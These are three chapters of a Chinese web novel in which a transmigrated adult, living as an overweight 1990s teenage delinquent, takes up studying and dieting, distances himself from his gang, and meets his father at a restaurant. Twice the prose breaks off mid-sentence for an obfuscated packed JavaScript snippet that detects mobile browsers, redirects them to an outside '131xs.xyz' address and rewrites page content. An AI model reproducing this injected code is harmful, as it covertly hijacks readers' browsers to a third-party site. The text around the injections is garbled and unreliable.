相比于原主，池乐没这么多顾忌——他想利索地洗完，回来看看自己买的辅导书。 虽然现在是高二，距离高三还有一年多的时间，但以他这样的基础，再不抓紧时间就来不及了。 “……行，你去。” 继儿子会自己做饭、买书之后，又会主动去洗澡了。 等池乐拎着澡篮子离开，章佳继续打扫房间里的灰尘，忽然意识到什么，她站起身来，看了一眼池乐买的书。 竟然都是正经书。 这让原本在心底里怀疑儿子是做样子的她有些愧疚。 ……她怎么能不相信儿子呢？ 打扫完房间，章佳又拿了麻木擦拭镜子，当看到镜子里的自己时，章佳愕然发现自己嘴角竟然是一直是向上翘的。 望子成龙，望女成凤，华夏的父母始终对自己的孩子有着期许。 池乐小时候说话说得早，很小就学会了走路，那时候章佳就在心中暗暗规划后来的路线。 要让池乐上一中，上大学，一路往上走。 后来，因为一些意外，池乐开始惹事生非，学习也一落千丈，章佳嘴上不说，午夜梦回，心中也有着几分失落。 现在好了，虽然不知道儿子受了什么刺激，但对方愿意上进，他们做父母的只有开心的份儿。 想到这里，章佳卫生也不打扫了，擦干了手，换身衣服，拿着买菜专用的布袋子出门。 “咦，小章买菜去？你家老池要回来了？” 池建国出去出差了快一个星期，关系好的邻居自然都清楚。 “不是。”章佳说这句话时，唇颊发光，眼睛也是亮亮的，“乐乐他最近学习有点辛苦，我买点儿好吃的给他补补。” ……池乐，学习辛苦？ 看着章佳一脸笑容的模样，邻居以为自己听错了。 池乐这个名字，什么时候和“学习辛苦”这四个字挂钩了？ 8. 第 8 章 邻居的质疑并没有影响章佳的好心情，相反，因为旁人不信任的眼神，章佳心中的信念变得愈发坚定。 她不求池乐变成什么样，但只要对方在干正事，走在正道上就行。 在这一点上，她绝对对自己的儿子有信心。 此时，池乐并不知道因为自己的一点儿变化，作为母亲的章佳就迫不及待地想要做好吃的给他补补。 如果知道的话，恐怕也只会苦笑一声。 原主在坑父母上是熟练工，但章佳恐怕也不遑多让——他才刚刚开始减肥一天呢！ 并不知道自己的减肥大业即将遭受到母亲的狙击，此时的他正在澡堂子里与机械厂的大爷大叔哥哥弟弟们“坦诚相见”。 而在这时，池乐也终于明白了为什么原主不愿意来洗澡。 “池家小子？” “呦，今天来这么早啊？” “你家老池回来了没有？” “……呀，你这小子咋又胖了。” “瞧瞧这肚子。” 大澡堂子里，原本大家的目标都是快速洗完澡撤退，在水雾弥漫之中，大概率谁也都不认识谁。 可原主的身材太有辨识度了。 在九十年代末，胖成原主这样，确实甚为少见，因此，只要是认识的，都会与他打一声招呼。 当然，夹杂在其中的评判、审视，甚至厌恶也不少见。 怪不得原主不乐意来洗澡。 谁愿意光着身子被这样打量啊？何况，他又不是八块腹肌，随便让人看。 只不过，俗话说得好，来都来了，纵然池乐心中有些不爽，但思前想后，也没有半途而废，中途穿上衣服回去的道理。 ……这是原主的身体不是他的。 所以丢脸也是丢原主脸，和他没关系。 默念三次之后，池乐给自己调理好了心态，一边礼貌地应付着别人的问候，一边给自己找了个空闲的位置。 只要他快一分钟，就少受一分钟罪。 果然，正如池乐所想，有时候只要不在意，别人的目光就伤害不了自己——在他态度淡然，忙着洗澡之后，其他人也没心思看他了。 人生在世，自己的事还忙不完，哪有那么多空闲关注别人。 洗完澡，换了一身衣服，池乐的感觉清爽多了——洗了一个澡，不但洗掉了自己身上的灰尘，心里也好受了一些。 不过，在洗澡的过程中，池乐哪怕碎碎念“这不是自己的身体”，也被原主的肥胖吓了一跳。 他的脂肪堆积在腹部不说，四肢还有着被脂肪胀开的纹路。 如今他年龄小还好，再过些年，高血压糖尿病都会纷至沓来——等到那时候，所要付出的代价就更多了。 这个减肥，他必须得认真对待。 洗完澡，换上了干净的衣服，提上澡篮子回家，章佳已经买好了中午做饭的肉和菜。 看到母亲兴致勃勃的样子，池乐在“不辜负对方美意”和“减肥为重”之中犹豫许久，最终选择了后者。 “我当然知道你减肥，你放心吧。” 昔日儿子的沟通方式往往是大呼小叫，发泄脾气，如今见对方婉转地表达意见，生怕伤害到她，章佳心中只有感慨的份儿。 儿子真的不一样了。 “我今天做的都是清淡的菜。” 当下不是日后互联网信息传播十分发达的时候，所谓的科学减肥法也没有日后那般深入人心，但这不妨碍章佳动脑子。 他们家里自己和池建国都是正常体型，只有池乐一个人胖一些。 大家吃的东西一样，为什么只有池乐一个人胖？显然是因为后者不光吃重口味的菜，还零食不停，平时还不爱运动。 找到原因，章佳自然不会马虎。 从此之后，做饭当然是要清淡为主了，最重要的是，她也不会主动再带零食回来了。 儿子干正事，当母亲的怎么能拖后腿？ 当然，章佳内心里虽然对于池乐能够坚持多久心存疑虑，但三分钟的热度也有三分钟的收获，在这一点上，她绝对不会泼冷水。 “谢谢妈。” 感念于章佳的配合，池乐说道。 出了社会，与旁人合作过，才明白章佳这种“有求必应”不是每个人都能做到，如果不是将人放在心上，怎么可能会做到如此地步。 “客气什么？” 正如章佳所说，这一顿饭她做得十分适合减脂——主菜萝卜炖牛肉只用了盐和葱花调味，味道鲜甜。 其余的西红柿炒鸡蛋、蒜泥黄瓜都是再家常不过的菜，保证了这一餐味道的丰富性，十分下饭。 配合着桌上的菜，池乐足足吃了一个七分饱。要不是在内心里提醒自己不能多吃，恐怕还能多吃几口。 饭后，池乐搭手帮母亲洗碗。 “不用帮忙，你去学习去。” 正如全天下所有父母一样，都觉得做家务会影响学习，然而，比起“家务影响学习”，更现实的情况是许多人就算不做家务，也不会学习。 比起老老实实地坐在书桌前读书，玩手机、看小说、发呆，都比写作业看书来得更加轻松。 池乐知道这一点，坚持道：“饭后需要运动一下。” “刚吃完饭不能久坐。” 搬出了健康二字，章佳也跟着妥协了。哪怕这样，她还是觉得池乐听话得有点不正常。 因此，等到池乐洗完了碗，她第一反应竟然不是让他学习，而是撺掇他出去玩。 “出去玩玩再说，之前你不是每周都要和你的小伙伴们见面吗？” 池乐哭笑不得。 母亲的好意池乐心领了，只不过，池乐并不打算与自己的“朋友”玩。 先不说原主这些“朋友”到底是什么情况，光是池乐如今的心理年龄，也无法与这些小朋友混迹在一起。 与朋友在一起是图开心和有趣，而以池乐的年龄，已经不觉得一起压马路、欺负人、找刺激有趣了。 与之相比，他更喜欢在家里学习。 他很想抓紧时间，珍惜再一次高考的机会。 昔日，池乐在坚持要玩耍时，章佳劝不动。如今，池乐不想玩耍了，一心想要学习，章佳也拿他没办法。 “那你注意休息眼睛。” 家长对于孩子的学习帮不上忙，只好尽量创造一个安静的环境，章佳切好水果，倒好茶，做好了准备工作，轻手轻脚地出了门。 临走前，她想起了一件重要的事，拍了一下脑门。 “对了，今天我买菜的时候遇到刘聪了，他让我转告你，说是这周布置的作业夹在书包的夹层里。” “知道了。” 闻言，池乐打开了书包——他就说，作为高中生，怎么可能没有作业。 三月份是刚刚开学的时间点，各科只是将书和习题册发了下来，各个科目能够布置的作业，也只是书后的练习题和习题册上的某个单元罢了。 池乐看了一眼作业清单，松了一口气。 与复杂的考卷相比，还在学习新知识阶段的习题真是简单多了——不但题目数量不多，而且知识都是这一段新学知识点的运用。 也就是说，他只需要把最近新学的内容自学一遍，就可以解决大约百分之八十的习题。 成功概率相当之高。 对于自己复习计划有些拿不准的池乐有些兴奋。 就先拿作业练练手。 学习需要由简到难，成就感也要一步一步地积累。 花了一个下午的时间，池乐写完了数学和物理两门课的作业——两个科目的特点都是公式导向，只要公式搞明白，做题就不算太难。 晚上，池乐写语文和英语。 相比于数理化，这两门课对于池乐来说就更简单了。 因为上辈子工作的缘故，池乐的英语一直都还算是没有彻底扔下，有词汇量的累积，虽然一些语法已经忘得差不多了，但总能连蒙带猜选出答案。 语文的情况也与英语类似，除了基础的拼音题之外，关于阅读理解也只是见仁见智，哪怕不确定，只要勇敢， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15571212|171485||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也能写出一些答案来。 剩下的就只有化学了。 这一晚上，池乐没有熬夜，哪怕作业还没写完，他也早早地睡了。 学习是马拉松，而不是只属于一日的冲刺，想要改变剧情，考上自己期望的大学，仅凭一天的努力是不够的。 由于完成了自己给自己的任务，这天晚上，池乐睡得很好，连梦也没有做。 翌日早上七点，池乐早起锻炼。 知道儿子要出门，章佳提前一晚上煮了鸡蛋放在锅里，第二日只需要热一下吃就行。 不打扰母亲睡觉，池乐轻手轻脚地吃完饭，推开了门，走了出去。 清晨的冷空气混合着泥土的芳香迎面而来。 池乐拉上了衣领，下了楼，沿着前晚上散步的方向慢慢走了起来——他体重很大，膝关节压力很大，如果一开始就跑步的话，膝盖会受不了的。 以快走的速度一直运动了将近四十分钟，身上微微出了一些汗，池乐溜达着回去。 减掉零食，一天只吃家常菜的话，估计能够比原主胡吃海喝少三四百大卡的热量，再加上早上的运动，估计能有五百卡。 按照这些热量的差，一个月坚持坚持下来至少瘦四五斤。 对于原主这个大基数来说，四五斤并不算什么，奈何只要坚持下来，半年一年的功夫，就会减到标准体重。 更何况，减肥的意义并不是减掉身上的脂肪，而是构建起健康的生活方式。 在心中琢磨着自己的减肥大业，池乐一边想一边往家的方向走，只是，还没走到家门口，就看见两个熟悉的身影兴奋朝着自己招手。 看见他走近了，另外一个人还高兴地跳了起来。 “老大！” 在池乐家门口蹲守的并不是别人，而正是“原主”的小弟之二。 “老大，我们可算等到你了！” “怎么了？”池乐预估出了合适的社交距离，停下脚步，问。 “老大，你没事就好呜呜！”丝毫没感觉到池乐的疏远，两个“古惑仔”有些激动地道。 “昨天你没来，我们还以为你出事了！” “我们就知道老大不会有事的！” 经过两个“古惑仔”的叙述，池乐才知道在过去的两天发生了什么——按照原计划，周六他们小团体本来有一次聚会，共同商议大事。 然而，他们左等右等，上等下等，都没有等到池乐这个老大。 考虑到刚刚经历过的表白事件，料想到池乐恐怕需要时间与父母交待，他们便没将这件事放在心上。 可没想到，他们足足等了一整天，竟然一点儿音讯都没有。 终于，他们等不及了，派了其中一员去池乐的家附近徘徊—— “刘聪？” 池乐想起了母亲买菜时偶遇的朋友。 “是啊老大，幸亏他聪明，及时想出了作业的借口。” 说起来，也正是刘聪带回了池乐母亲买菜的消息，从池母的态度来看，才发现老大没事。 隔了一日，他们终于鼓起勇气，在老大门口蹲等。 “老大，别难过，在家里受一点委屈没什么的。”见池乐若有所思，贴心的小弟劝道。 “不过，阿姨要是不生气了，老大咱们出去玩玩呗？” 由于表白那日被教导主任抓得仓促，从学校出来时天气也太晚，小弟们甚至没有得到池乐的一个解释。 不是说好要表白吗？最后怎么算了？ 林林总总，这些都需要说清楚。 除此之外——他们周末参加活动，也需要经费，而这个经费来源，就是他们的老大呀。 想到这里，两个小弟的目光更加热切地望向了池乐。 既然不打算再重走老路，原主这些小弟们的确需要合理地处置，只是，想到自己的学习任务还没有完成，池乐权衡片刻道： “不去了，我要回家写作业。” 小弟们懵了一秒，写什么作业？ 是写让他们小团体更加伟大的作业吗？！ 9. 第 9 章 “……老大真这么说的，你们确定没听错？” A市老城区的一间平房内，几个年轻的“古惑仔”歪七扭八地坐在一起，他们面前摆着零食、瓜子，房子里摆着一台旧电视，此时正放着光碟。 在一旁，他们的书包随意地摆放着，平日穿的校服也扔在一旁。 “真这么说的，梭子也听着呢，对吧梭子？” “是的，老亨，真是这样。” 说话的时间里，旧电视里还放着港乐，画面上正是前些年风靡大陆的《古惑仔》 。 “学习？写作业？我们老大又想什么新招式了？” “该不会是老大的爸妈发飙了，不让他出门吧？” 对于池乐因为学习而不出门这件事，小弟们都没太当回事，反倒是在乐乐呵呵地猜测其中可能的原因。 “……那他也没必要骗我们啊？” 前去与池乐接头的人名叫二河，他对于兄弟们不相信自己的话有些着急，不悦地反驳道。 如果真的按照兄弟们所说，为了应付父母暂时不能出来，那老大应该用眼神与手势同他表示才是。 而且，当时老大的家人也不在现场，犯不着与特务接头一样吧？ 在他看来，老大想看书这句话中确实包含着几分真心。 “那你说，他这样干是图什么呢？”面对二河的执拗，其他人反问道。 是啊，图什么呢？ 图好好学习本身吗？ 作为问题少年，二河等人为了不被开除，自然也不是一点儿都不学习。平日，为了面子过得去，他们也会按时完成作业，上课也会逼迫自己听讲。 但是，他们之所以走到今天这一步，绝对不是自己不知道认真学习的好处，非要和主流社会作对，而是学习真的太难了。 上课听不懂，写作业也看不懂。 在这些“听不懂”和“看不懂”之中，所带来的是无穷的挫败感。 在刚开始的时候，或许有些人还会尝试着去挣扎一下，但在挣扎失败之后，这种尝试也就不存在了。 既然做不到，何必要受这个罪？ 久而久之，学习和读书就从他们的选项中删除，再加上周围都是不学习的气氛，彼此之间相互慰藉，便再不把读书当回事。 从内心里讲，他们未必不知道自己走得是一条迷途，但是“迷途知返”的代价太大、困难程度太高，以至于他们完全不去思考这个选项。 他们的老大能做到吗？ 在这一瞬间，二河脑袋瓜里滑过了自家老大疲惫又怠惰的肿胀面庞。 在偷懒和放弃这个领域里，恐怕没有人能够和他们的老大相提并论，吃苦？他们老大恐怕只能做到“吃”这一个字。 如此思考了一圈，二河也不由得回过神来，对自己刚才信誓旦旦的想法也产生了一些的嘲笑的念头。 相信老大会爱上学习？不如相信会无缘无故暴富来得可能性高。 “那是怎么回事？”在自我劝说中，二河放弃了一开始的念头，开始加入兄弟们的讨论。 “肯定是老大这次买花花得太多了。” 唯一反对的声音消失了，小弟们的讨论更加顺畅。 “也不一定吧，老大这一两年一直是这个消费水平。” 说起来，大家都是高中生，彼此之间没有什么能力上的差距，之所以心甘情愿地让池乐当老大，显然是因为对方肯花钱。 他们当下活动的场所，是池乐花钱租的。 他们看港片的VCD，是池乐从家里搬来的。 就连他们的服装、吃的零食，也都是池乐慷慨的提供的。 无穷无尽的物质，成为了他们心甘情愿受池乐差遣的根本动力。 想到这一点，在座的“古惑仔”们都沉默了。 “那个，老大要是今天不来的话，咱们晚上吃什么呀？” 池乐身为老大，平日里手上松快，花钱也算大手大脚，时间长了，小弟们也从一开始的谨慎小心、不好意思变成了如今的理直气壮。 有时候，他们甚至会联合在一起，撺掇着池乐带他们去高消费的场所。 这次买玫瑰表白，一掷千金，未必没有这些“小弟”们的起哄。 “这是一个好问题。”有人弱弱地说。 “本来打算去丰和饭店庆功的。” “……听说那里提供小点心，老大请我们吃饭的话，我还打算拿一点给我妹妹。” 毫无疑问，池乐所提供的高消费体验，也是“小弟”们在外炫耀和夸耀的谈资。 “要不，我们再去问一趟？” “老大不会这么狠心，看我们饿肚子吧？” 察觉到了池乐的重要性，小弟们也坐不住了。 用钱开道固然不是长久之计，但在短期内，确实可以效率极高地获得小弟们的真心。 池乐并不知道因为钱的缘故，小弟们对自己的需要达到了顶峰，此时的他正在兢兢业业地与自己的化学作业进行对抗。 自学课本知识点，做题，根据参考书背后的答案进行订正。 找出来的错题再从头到尾做一遍。 不同于其他科目，化学算来是池乐最不熟悉的一门课，不但本章知识点与前文的知识点联系紧密，而且一些稍微复杂的化学反应他也不会。 一整章习题做下来，他不但有许多地方不会做，就算做了的题，与正确答案也有着很大的差距。 眼看着自己在习题上做出的标记，池乐不由得感觉有点儿头疼。 难度上来了。 或许是昨天学习进度相当顺利，让池乐在精神上充满了信心，今日的打击来得十分直接。 “果然这世界上没有简单的事……” 池乐嘟囔了一声，揉了揉头发，站起来倒了一杯水，调整自己的心理状态。 他还有时间，可以慢慢来。 面对困难，不过分焦虑绝对是能够平复自己心情的大杀器，池乐在屋里走来走去，一边喝水一边念叨，几分钟后，因为失败而上涌的挫败感渐渐消失了。 他不必对自己要求过分严格。 如今他还只是开始，还有进步的空间。 降低自己的预期之后，池乐的心情好多了，过了一会儿，重新坐在书桌前，仔细地分析自己失败的原因。 归根到底，还是知识储备太少。 在池乐的分析中，他发现了自己一个十分明显的特点——对于自己刚刚学习过、了解的知识，他一般都没有犯错。 而与前面的章节有关的，他不清楚的，则是靠着蒙答题。 答案对与错，全都是看运气。 当然，在做题上，池乐运气并不怎么好。 做错的、不会的加起来，就成为了自己惨淡的正确率。 了解到这一点，池乐心中的不安得到了极大的缓解，对于化学这一科目的复习方向也有了方向。 至少他的学习能力还是在线的，想清楚了这一点，池乐总算可以用平常心来看待自己的受挫。 解决完情绪问题，池乐接下来要做的就是单纯的“亡羊补牢”的流程了。 他把错题所所涉及到、自己不明白的知识点全部在教材上找出了出处，然后列出清单，一个一个地开始自学。 自学旧知识点的好处在于能够及时有效地查缺补漏，在刚刚做错题的基础上补学，其效果十分在线。 当然，这种学习方法所带来的后果也是十分直观的。 他学习的工作量开始直线上升——原本只将早晨分配给了化学作业，有了新的学习计划之后，他几乎一整天都在看化学。 沉浸在化学的世界中，池乐连中午饭都是匆匆几口扒完，就坐在了书桌前。 “你休息休息再学习啊。” 章佳也没想过，某一天的自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15571213|171485||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 己会劝儿子少学一会儿。 明明前不久她才为了孩子的厌学而恼怒的。 体会到了甜蜜的苦恼，章佳也只好继续做后勤保障工作。只是，所谓的倒水和切水果所花费的时间有限，不一会儿，章佳就没事做了。 平时的周末，池乐一般都与自己的朋友出门玩，除了要钱之外很少待在家中，儿子不在，章佳也会在做完家务之后出门逛逛。 逛街、跳舞、走亲戚，偶尔还会被动地加加班。 可如今池乐在家闷头学习，章佳自己也不好意思再出门闲逛和玩耍，闲得无聊，她干脆从书架上摸出一本书来打发时间。 ——就当是陪儿子坐牢了。 事实证明，参加工作之后多年不看书，再拿出书来准备读个一二三，对于任何人来说都是折磨。 折磨了大半个下午，经历了犯困、睡着、又犯困的流程，章佳实在熬不住了。 好在时间终于到了下午五点。 “走走走，换衣服，出门吃饭去。”到了时间，章佳不管不顾地拉着池乐想要出门。 “怎么了？” “惊喜！” 章佳强势地收拾了池乐书桌前的书，将他从凳子上拉了起来，从衣柜里找了一套衣服扔给他。 “快换上，换完走。” 说罢，章佳自己也回到了自己的房间收拾打扮。 半个小时后，池乐与章佳衣着光鲜地出了门，花了一块钱，坐上了代步车，十分钟后，来到了一个光鲜亮丽的饭店门口。 “丰和饭店”。 霓虹灯闪烁着，四个大字出现在了池乐的眼前，饭店门口人流如织，能看出大家都精心打扮过。 “来这里干什么呀？”对于自己为什么被拉来这里，池乐依然好奇。 “进去吧。” 在池乐与章佳进门之后，丰和饭店里响起了悠扬的曲子——这是饭店为了欢迎客人而专门整的付费花活。 显然，A市人民对于这样的付费项目的态度还有些保守，在乐曲响起来时，纷纷停下了动作，试图看看是哪个大冤种如此慷慨。 迎着诸多目光，池乐尴尬地走进了饭店。 显然，他的尴尬还没有持续多久，就听到了一声热情的呼唤。 “佳佳，儿子！快过来！” 在不远处，一个男人朝着他们热情地挥手。 池乐毫不意外地猜出了对方的身份—— 他的父亲，池建国。 在原书中，作为一段时间的主要反派，池建国的战斗力十分能打，在商业嗅觉和执行力的加持下，给主角带来了许多挑战。 不同于原主这样纯纯的丑角，池建国由于爱护妻子、关爱儿子，加上人缘好、个人魅力强，在原书中并不令人讨厌。 到了他最终下线时，甚至还有读者为了他而伸冤。 “人是好人，就是摊上了这么一个坑爹的儿子。” “惨，太惨了。” “如果池建国是主角的爸爸就好了，两个人可以强强联合。” 虽然最后一句感慨是少数，但读者能发出这样的言论，可见池建国在原书中的存在感。 而此刻，这位原书中为了妻子与儿子不惜与主角作对的可怜人正露出开朗的笑，朝着池乐招手。 “快来呀宝，爹给你带了好吃的。” “几天不见，你都瘦了。” 远远看去，饭店的餐桌上摆满了食物，包括但不限于红烧排骨、糖醋里脊等糖油爆表的热量炸弹。 除此之外，也不知道池建国哪里来的路子，非但点了恐怖的中餐高热量食品，还弄了一些类似汉堡与薯条之类的食物。 “快来！” 池乐抬起头，看到池建国脸上的憨厚笑容，不由得头皮发麻。 在原书中，原主是坑爹没错，可眼下，池建国也不能这样坑儿子啊！ 他还在减肥呢！